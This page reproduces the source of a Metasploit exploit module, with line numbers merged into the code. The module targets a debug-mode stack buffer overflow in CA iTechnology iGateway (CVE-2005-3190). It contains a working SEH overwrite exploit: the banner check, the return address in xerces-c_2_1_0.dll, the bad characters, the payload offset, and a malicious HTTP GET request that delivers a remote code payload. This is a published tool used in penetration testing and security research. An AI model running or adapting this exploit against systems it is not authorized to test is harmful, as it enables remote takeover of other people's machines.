Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/ca_igateway_debug.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'CA iTechnology iGateway Debug Mode Buffer Overflow',14'Description' => %q{15This module exploits a vulnerability in the Computer Associates16iTechnology iGateway component. When <Debug>True</Debug> is enabled17in igateway.conf (non-default), it is possible to overwrite the stack18and execute code remotely. This module works best with Ordinal payloads.19},20'Author' => 'aushack',21'License' => MSF_LICENSE,22'References' =>23[24[ 'CVE', '2005-3190' ],25[ 'OSVDB', '19920' ],26[ 'URL', 'http://www.ca.com/us/securityadvisor/vulninfo/vuln.aspx?id=33485' ],27[ 'EDB', '1243' ],28[ 'BID', '15025' ],29],30'DefaultOptions' =>31{32'EXITFUNC' => 'seh',33},34'Payload' =>35{36'Space' => 1024,37'BadChars' => "\x00\x0a\x0d\x20",38'StackAdjustment' => -3500,39'Compat' =>40{41'ConnectionType' => '+ws2ord',42},43},44'Platform' => 'win',45'Targets' =>46[47[ 'iGateway 3.0.40621.0', { 'Ret' => 0x120bd9c4 } ], # p/p/r xerces-c_2_1_0.dll48],49'Privileged' => true,50'DisclosureDate' => '2005-10-06',51'DefaultTarget' => 0))5253register_options(54[55Opt::RPORT(5250),56])57end5859def check60connect61sock.put("HEAD / HTTP/1.0\r\nHost: #{rhost}\r\n\r\n")62banner = sock.get_once6364if (banner.to_s =~ /GET and POST methods are the only methods supported at this time/) # Unique?65return Exploit::CheckCode::Detected66end67return Exploit::CheckCode::Safe68end6970def exploit71connect7273seh = generate_seh_payload(target.ret)74buffer = Rex::Text.rand_text_alphanumeric(5000)75buffer[1082, seh.length] = seh76sploit = "GET /" + buffer + " HTTP/1.0"7778sock.put(sploit + "\r\n\r\n\r\n")7980disconnect81handler82end83end848586